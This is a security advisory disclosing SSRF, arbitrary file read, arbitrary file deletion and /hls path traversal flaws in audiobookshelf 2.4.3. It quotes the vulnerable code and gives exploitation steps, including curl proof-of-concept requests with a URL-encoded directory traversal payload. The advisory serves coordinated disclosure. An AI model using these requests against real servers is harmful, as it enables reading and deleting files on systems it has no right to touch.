Headline
CVE-2023-47619: GHSL-2023-203_GHSL-2023-204: Several vulnerabilities in audiobookshelf
Audiobookshelf is a self-hosted audiobook and podcast server. In versions 2.4.3 and prior, users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response. This issue may lead to Information Disclosure. As of time of publication, no patches are available.
Coordinated Disclosure Timeline
- 2023-10-01: Report submitted to maintainer
- 2023-11-01: Advisory Published
Summary
Audiobookshelf is vulnerable to server-side request forgery (SSRF), arbitrary file read (AFR) and arbitrary file deletion (AFD) depending on the permissions of the user.
Project
audiobookshelf
Tested Version
v2.4.3
Details
Users with the update permission are able to read arbitrary files, delete arbitrary files and send a GET request to arbitrary URLs and read the response.
const payload = req.body // <---- imagePath comes from req.body without sanitization
if (payload.imagePath !== undefined && payload.imagePath !== req.author.imagePath) {
if (!payload.imagePath && req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
await CoverManager.removeFile(req.author.imagePath) // <---- imagePath is passed to removeFile
} else if (payload.imagePath.startsWith('http')) {
const imageData = await AuthorFinder.saveAuthorImage(req.author.id, payload.imagePath) // <---- imagePath is used to make a GET request and its response is saved
if (imageData) {
if (req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
}
payload.imagePath = imageData.path
hasUpdated = true
}
} else if (payload.imagePath && payload.imagePath !== req.author.imagePath) {
if (!await fs.pathExists(payload.imagePath)) { // < ---- only check for existence of path, thus specifying any local file will result in file read
Logger.error(`[AuthorController] Image path does not exist: "${payload.imagePath}"`)
return res.status(400).send('Author image path does not exist')
}
if (req.author.imagePath) {
await CacheManager.purgeImageCache(req.author.id)
}
}
}
Impact
This issue may lead to Information Disclosure.
Resources
SSRF
- In order to exploit SSRF, first send a request with the url of the file you wish to download. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the desired url which will send a PATCH request to /api/authors/author-id.
- Download the file from api/authors/author-id/image with the following command:
curl -i -s -k -X $’GET’
-H $’Host: localhost:3333’ -H $’Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NmFjZTUxNy01NGJmLTRjYmUtYTBlZC05ZWZkMzZhNWI5NmMiLCJ1c2VybmFtZSI6InRlc3RlciIsImlhdCI6MTY5NTg0ODQ4Mn0.rvF1kTKXHMsjPYV_PtvMnCKNgvXxNrTDTiOIh8yz0hE’ -H $’Content-Length: 2’
–data-binary $’\x0d\x0a’
$’http://localhost:3333/api/authors/40913999-5739-4c84-bff0-93f9b34a08ef/image?token=JWT_TOKEN&raw=true’
Arbitrary File Deletion
- In order to exploit arbitrary file deletion, first send a request with the path to the file you wish to delete. Curl is messy, so I would just go into the UI and click to edit the author’s image and put in the path to the file you wish to delete which will send a PATCH request to /api/authors/author-id.
- Then, go into the UI and click to edit the author’s image and put in nothing which will send a PATCH request to /api/authors/author-id with an empty imagePath, deleting the file.
Issue 2: Arbitrary File Read in HlsRouter.js (GHSL-2023-204)
Any user (regardless of their permissions) may be able to read files from the local file system due to a path traversal in the /hls endpoint.
var streamId = req.params.stream
var fullFilePath = Path.join(this.playbackSessionManager.StreamsPath, streamId, req.params.file)
var exists = await fs.pathExists(fullFilePath)
res.sendFile(fullFilePath)
Impact
This issue may lead to Information Disclosure.
Resources
Proof of Concept:
curl -i -s -k -X $'GET' \
-H $'Host: localhost:3333' -H $'Accept: application/json, text/plain, */*' -H $'Authorization: Bearer JWT TOKEN' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3333/hls/whatever/..%2F..%2F..%2F..%2F..%2F..%2F(url encoded full path here)'
Note: The %2Fs are URL-encoded forward slashes (/) to prevent confusion with the express regex parser. After traversing back enough directories, we can input the URL-encoded full path of the file we wish to access.
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). These issues were discovered with the help of CodeQL’s SSRF and Path Injection queries.
You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-203 or GHSL-2023-204 in any communication regarding these issues.